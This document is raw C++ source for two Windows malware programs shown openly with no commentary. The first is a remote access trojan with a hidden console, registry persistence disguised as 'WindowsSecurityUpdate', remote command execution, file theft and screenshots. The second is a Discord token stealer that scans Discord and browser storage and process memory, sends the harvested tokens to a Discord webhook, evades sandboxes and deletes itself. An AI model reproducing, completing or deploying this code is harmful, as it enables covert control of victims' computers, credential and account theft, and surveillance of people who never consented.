#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <gdiplus.h>
#include <iostream>
#include <string>
#include <vector>
#include <thread>
#include <fstream>
#include <sstream>
#include <cstring>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "gdiplus.lib")

#define SERVER_PORT 4444
#define BUFFER_SIZE 8192

using namespace Gdiplus;
using namespace std;

// Server-side (target machine)
class RatServer {
private:
    SOCKET listenSocket;
    SOCKET clientSocket;
    sockaddr_in serverAddr;
    bool running;
    
public:
    RatServer() : listenSocket(INVALID_SOCKET), clientSocket(INVALID_SOCKET), running(false) {}
    
    bool Initialize() {
        WSADATA wsaData;
        if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) return false;
        
        listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (listenSocket == INVALID_SOCKET) return false;
        
        serverAddr.sin_family = AF_INET;
        serverAddr.sin_addr.s_addr = INADDR_ANY;
        serverAddr.sin_port = htons(SERVER_PORT);
        
        if (bind(listenSocket, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) return false;
        if (listen(listenSocket, SOMAXCONN) == SOCKET_ERROR) return false;
        
        running = true;
        return true;
    }
    
    void HideConsole() {
        HWND stealth;
        AllocConsole();
        stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(stealth, 0);
    }
    
    void AddPersistence() {
        HKEY hKey;
        const char* czStartName = "WindowsSecurityUpdate";
        const char* czExePath = "C:\\Windows\\System32\\svchost_rat.exe";
        
        if (RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 
            0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) {
            RegSetValueExA(hKey, czStartName, 0, REG_SZ, (BYTE*)czExePath, strlen(czExePath));
            RegCloseKey(hKey);
        }
    }
    
    string ExecuteCommand(const char* cmd) {
        SECURITY_ATTRIBUTES sa;
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);
        sa.bInheritHandle = TRUE;
        sa.lpSecurityDescriptor = NULL;
        
        HANDLE hRead, hWrite;
        CreatePipe(&hRead, &hWrite, &sa, 0);
        
        STARTUPINFOA si;
        PROCESS_INFORMATION pi;
        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        si.hStdError = hWrite;
        si.hStdOutput = hWrite;
        si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_HIDE;
        
        ZeroMemory(&pi, sizeof(pi));
        
        string result = "";
        if (CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
            WaitForSingleObject(pi.hProcess, INFINITE);
            CloseHandle(hWrite);
            
            char buffer[BUFFER_SIZE];
            DWORD bytesRead;
            while (ReadFile(hRead, buffer, BUFFER_SIZE - 1, &bytesRead, NULL) && bytesRead > 0) {
                buffer[bytesRead] = '\0';
                result += buffer;
            }
            
            CloseHandle(hRead);
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        } else {
            result = "Command execution failed\n";
        }
        return result;
    }
    
    bool SendFile(const string& filepath) {
        ifstream file(filepath, ios::binary | ios::ate);
        if (!file.is_open()) return false;
        
        streamsize size = file.tellg();
        file.seekg(0, ios::beg);
        
        string header = "FILE:" + to_string(size) + ":" + filepath + "\n";
        send(clientSocket, header.c_str(), header.length(), 0);
        
        vector<char> buffer(BUFFER_SIZE);
        while (size > 0) {
            streamsize toRead = min((streamsize)BUFFER_SIZE, size);
            file.read(buffer.data(), toRead);
            send(clientSocket, buffer.data(), toRead, 0);
            size -= toRead;
        }
        return true;
    }
    
    void ReceiveFile(const string& filepath, int filesize) {
        ofstream file(filepath, ios::binary);
        char buffer[BUFFER_SIZE];
        int totalReceived = 0;
        
        while (totalReceived < filesize) {
            int toRecv = min(BUFFER_SIZE, filesize - totalReceived);
            int received = recv(clientSocket, buffer, toRecv, 0);
            if (received <= 0) break;
            file.write(buffer, received);
            totalReceived += received;
        }
        file.close();
    }
    
    void TakeScreenshot() {
        HWND hDesktop = GetDesktopWindow();
        HDC hDC = GetDC(hDesktop);
        HDC hMemDC = CreateCompatibleDC(hDC);
        
        RECT rc;
        GetWindowRect(hDesktop, &rc);
        int width = rc.right - rc.left;
        int height = rc.bottom - rc.top;
        
        HBITMAP hBitmap = CreateCompatibleBitmap(hDC, width, height);
        SelectObject(hMemDC, hBitmap);
        BitBlt(hMemDC, 0, 0, width, height, hDC, 0, 0, SRCCOPY);
        
        ULONG_PTR gdiplusToken;
        GdiplusStartupInput gdiplusStartupInput;
        GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
        
        Bitmap bitmap(hBitmap, NULL);
        CLSID clsid;
        GetEncoderClsid(L"image/jpeg", &clsid);
        bitmap.Save(L"C:\\Windows\\Temp\\screen.jpg", &clsid, NULL);
        
        GdiplusShutdown(gdiplusToken);
        DeleteObject(hBitmap);
        DeleteDC(hMemDC);
        ReleaseDC(hDesktop, hDC);
        
        SendFile("C:\\Windows\\Temp\\screen.jpg");
        DeleteFileA("C:\\Windows\\Temp\\screen.jpg");
    }
    
    int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) {
        UINT num = 0;
        UINT size = 0;
        ImageCodecInfo* pImageCodecInfo = NULL;
        GetImageEncodersSize(&num, &size);
        if (size == 0) return -1;
        pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
        GetImageEncoders(num, size, pImageCodecInfo);
        for (UINT j = 0; j < num; ++j) {
            if (wcscmp(pImageCodecInfo[j].MimeType, format) == 0) {
                *pClsid = pImageCodecInfo[j].Clsid;
                free(pImageCodecInfo);
                return j;
            }
        }
        free(pImageCodecInfo);
        return -1;
    }
    
    void Run() {
        HideConsole();
        AddPersistence();
        
        while (running) {
            clientSocket = accept(listenSocket, NULL, NULL);
            if (clientSocket == INVALID_SOCKET) continue;
            
            char buffer[BUFFER_SIZE];
            while (running) {
                ZeroMemory(buffer, BUFFER_SIZE);
                int received = recv(clientSocket, buffer, BUFFER_SIZE - 1, 0);
                if (received <= 0) break;
                
                string command(buffer);
                if (command.find("CMD:") == 0) {
                    string cmd = command.substr(4);
                    string result = ExecuteCommand(cmd.c_str());
                    send(clientSocket, result.c_str(), result.length(), 0);
                }
                else if (command.find("DOWNLOAD:") == 0) {
                    string filepath = command.substr(9);
                    SendFile(filepath);
                }
                else if (command.find("UPLOAD:") == 0) {
                    size_t pos1 = command.find(":") + 1;
                    size_t pos2 = command.find(":", pos1);
                    int filesize = stoi(command.substr(pos1, pos2 - pos1));
                    string filepath = command.substr(pos2 + 1);
                    ReceiveFile(filepath, filesize);
                }
                else if (command.find("SCREENSHOT") == 0) {
                    TakeScreenshot();
                }
                else if (command.find("EXIT") == 0) {
                    running = false;
                    break;
                }
            }
            closesocket(clientSocket);
        }
        closesocket(listenSocket);
        WSACleanup();
    }
};

// Client-side (attacker machine)
class RatClient {
private:
    SOCKET sock;
    sockaddr_in addr;
    
public:
    bool Connect(const char* ip, int port) {
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2, 2), &wsaData);
        
        sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        addr.sin_family = AF_INET;
        addr.sin_port = htons(port);
        inet_pton(AF_INET, ip, &addr.sin_addr);
        
        return connect(sock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR;
    }
    
    void SendCommand(const char* cmd) {
        string fullCmd = "CMD:";
        fullCmd += cmd;
        send(sock, fullCmd.c_str(), fullCmd.length(), 0);
        
        char buffer[BUFFER_SIZE];
        int received = recv(sock, buffer, BUFFER_SIZE - 1, 0);
        if (received > 0) {
            buffer[received] = '\0';
            cout << buffer << endl;
        }
    }
    
    void DownloadFile(const char* remotePath, const char* localPath) {
        string cmd = "DOWNLOAD:";
        cmd += remotePath;
        send(sock, cmd.c_str(), cmd.length(), 0);
        
        char header[BUFFER_SIZE];
        int received = recv(sock, header, BUFFER_SIZE - 1, 0);
        if (received <= 0) return;
        header[received] = '\0';
        
        if (string(header).find("FILE:") == 0) {
            size_t pos1 = 5;
            size_t pos2 = string(header).find(":", pos1);
            int filesize = stoi(string(header).substr(pos1, pos2 - pos1));
            
            ofstream file(localPath, ios::binary);
            char buffer[BUFFER_SIZE];
            int totalReceived = 0;
            
            while (totalReceived < filesize) {
                int toRecv = min(BUFFER_SIZE, filesize - totalReceived);
                received = recv(sock, buffer, toRecv, 0);
                file.write(buffer, received);
                totalReceived += received;
            }
            file.close();
            cout << "Downloaded: " << localPath << endl;
        }
    }
    
    void InteractiveShell() {
        char buffer[BUFFER_SIZE];
        while (true) {
            cout << "RAT> ";
            string input;
            getline(cin, input);
            
            if (input == "exit") break;
            if (input.substr(0, 4) == "get ") {
                size_t space = input.find(" ", 4);
                string remote = input.substr(4, space - 4);
                string local = input.substr(space + 1);
                DownloadFile(remote.c_str(), local.c_str());
            } else {
                SendCommand(input.c_str());
            }
        }
    }
    
    void Close() {
        closesocket(sock);
        WSACleanup();
    }
};

int main(int argc, char* argv[]) {
    if (argc > 1 && string(argv[1]) == "--server") {
        RatServer server;
        if (server.Initialize()) {
            server.Run();
        }
    } else {
        RatClient client;
        if (client.Connect("127.0.0.1", SERVER_PORT)) {
            client.InteractiveShell();
            client.Close();
        }
    }
    return 0;
}

#include <windows.h>
#include <winhttp.h>
#include <string>
#include <vector>
#include <regex>
#include <fstream>
#include <iostream>
#include <sstream>
#include <tlhelp32.h>
#include <psapi.h>

#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "psapi.lib")

#define WEBHOOK_URL L"https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"
#define MAX_BUF 8192

std::string WideToNarrow(const std::wstring& wstr) {
    int len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, nullptr, 0, nullptr, nullptr);
    std::string str(len, 0);
    WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &str[0], len, nullptr, nullptr);
    return str.substr(0, len - 1);
}

std::wstring GetEnvPath(const wchar_t* var) {
    wchar_t buffer[MAX_PATH];
    GetEnvironmentVariableW(var, buffer, MAX_PATH);
    return std::wstring(buffer);
}

std::string ReadFileContents(const std::wstring& path) {
    std::ifstream file(path, std::ios::binary);
    if (!file) return "";
    std::stringstream ss;
    ss << file.rdbuf();
    return ss.str();
}

void SendToWebhook(const std::string& content) {
    HINTERNET hSession = WinHttpOpen(L"Mozilla/5.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
    if (!hSession) return;
    
    URL_COMPONENTS urlComp = { sizeof(urlComp) };
    wchar_t hostName[256], urlPath[1024];
    urlComp.lpszHostName = hostName;
    urlComp.dwHostNameLength = 256;
    urlComp.lpszUrlPath = urlPath;
    urlComp.dwUrlPathLength = 1024;
    
    WinHttpCrackUrl(WEBHOOK_URL, 0, 0, &urlComp);
    
    HINTERNET hConnect = WinHttpConnect(hSession, hostName, urlComp.nPort, 0);
    if (hConnect) {
        HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", urlPath, NULL, WINHTTP_NO_REFERER, 
            WINHTTP_DEFAULT_ACCEPT_TYPES, (urlComp.nScheme == INTERNET_SCHEME_HTTPS) ? WINHTTP_FLAG_SECURE : 0);
        
        std::string payload = "{\"content\":\"" + content + "\",\"username\":\"TokenThief\"}";
        std::wstring headers = L"Content-Type: application/json";
        
        WinHttpSendRequest(hRequest, headers.c_str(), -1, (LPVOID)payload.c_str(), payload.length(), payload.length(), 0);
        WinHttpReceiveResponse(hRequest, NULL);
        WinHttpCloseHandle(hRequest);
    }
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);
}

void ExtractTokensFromString(const std::string& data, std::vector<std::string>& tokens) {
    std::regex tokenRegex(R"([\w-]{24}\.[\w-]{6}\.[\w-]{27}|[\w-]{24}\.[\w-]{6}\.[\w-]{38})");
    std::sregex_iterator begin(data.begin(), data.end(), tokenRegex);
    std::sregex_iterator end;
    
    for (auto it = begin; it != end; ++it) {
        tokens.push_back(it->str());
    }
}

void ScanLevelDB(const std::wstring& basePath, std::vector<std::string>& tokens) {
    std::wstring dbPath = basePath + L"\\Local Storage\\leveldb";
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW((dbPath + L"\\*").c_str(), &findData);
    
    if (hFind == INVALID_HANDLE_VALUE) return;
    
    do {
        std::wstring fileName = findData.cFileName;
        if (fileName.find(L".ldb") != std::wstring::npos || fileName.find(L".log") != std::wstring::npos) {
            std::string content = ReadFileContents(dbPath + L"\\" + fileName);
            ExtractTokensFromString(content, tokens);
        }
    } while (FindNextFileW(hFind, &findData));
    
    FindClose(hFind);
}

void ScanProcessMemory(DWORD pid, std::vector<std::string>& tokens) {
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid);
    if (!hProcess) return;
    
    MEMORY_BASIC_INFORMATION mbi;
    char* addr = 0;
    std::vector<char> buffer(65536);
    
    while (VirtualQueryEx(hProcess, addr, &mbi, sizeof(mbi))) {
        if (mbi.State == MEM_COMMIT && (mbi.Protect == PAGE_READWRITE || mbi.Protect == PAGE_READONLY)) {
            SIZE_T bytesRead;
            if (ReadProcessMemory(hProcess, mbi.BaseAddress, buffer.data(), mbi.RegionSize, &bytesRead)) {
                std::string chunk(buffer.data(), bytesRead);
                ExtractTokensFromString(chunk, tokens);
            }
        }
        addr += mbi.RegionSize;
    }
    CloseHandle(hProcess);
}

DWORD FindDiscordProcess() {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { sizeof(pe) };
    DWORD pid = 0;
    
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"Discord.exe") == 0 || 
                _wcsicmp(pe.szExeFile, L"DiscordPTB.exe") == 0 ||
                _wcsicmp(pe.szExeFile, L"DiscordCanary.exe") == 0) {
                pid = pe.th32ProcessID;
                break;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return pid;
}

int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
    FreeConsole();
    Sleep(3000); // Avoid sandbox detection
    
    std::vector<std::string> tokens;
    std::wstring appData = GetEnvPath(L"APPDATA");
    
    // Scan Discord variants
    std::vector<std::wstring> discordPaths = {
        appData + L"\\Discord",
        appData + L"\\Discord PTB",
        appData + L"\\Discord Canary",
        appData + L"\\DiscordDevelopment"
    };
    
    for (const auto& path : discordPaths) {
        ScanLevelDB(path, tokens);
    }
    
    // Scan browsers too (they often have Discord web logins)
    std::vector<std::wstring> browserPaths = {
        appData + L"\\Google\\Chrome\\User Data\\Default",
        appData + L"\\Microsoft\\Edge\\User Data\\Default",
        appData + L"\\Opera Software\\Opera Stable"
    };
    
    for (const auto& path : browserPaths) {
        ScanLevelDB(path, tokens);
    }
    
    // Memory scan if Discord is running
    DWORD discordPid = FindDiscordProcess();
    if (discordPid) {
        ScanProcessMemory(discordPid, tokens);
    }
    
    // Deduplicate and exfiltrate
    if (!tokens.empty()) {
        std::sort(tokens.begin(), tokens.end());
        tokens.erase(std::unique(tokens.begin(), tokens.end()), tokens.end());
        
        std::string payload = "Tokens harvested:\\n";
        for (const auto& tok : tokens) {
            payload += tok + "\\n";
        }
        
        SendToWebhook(payload);
    }
    
    // Self-delete
    wchar_t exePath[MAX_PATH];
    GetModuleFileNameW(NULL, exePath, MAX_PATH);
    
    std::wstring cmd = L"/C choice /C Y /N /D Y /T 3 & del \"";
    cmd += exePath;
    cmd += L"\"";
    
    ShellExecuteW(NULL, L"open", L"cmd.exe", cmd.c_str(), NULL, SW_HIDE);
    
    return 0;
}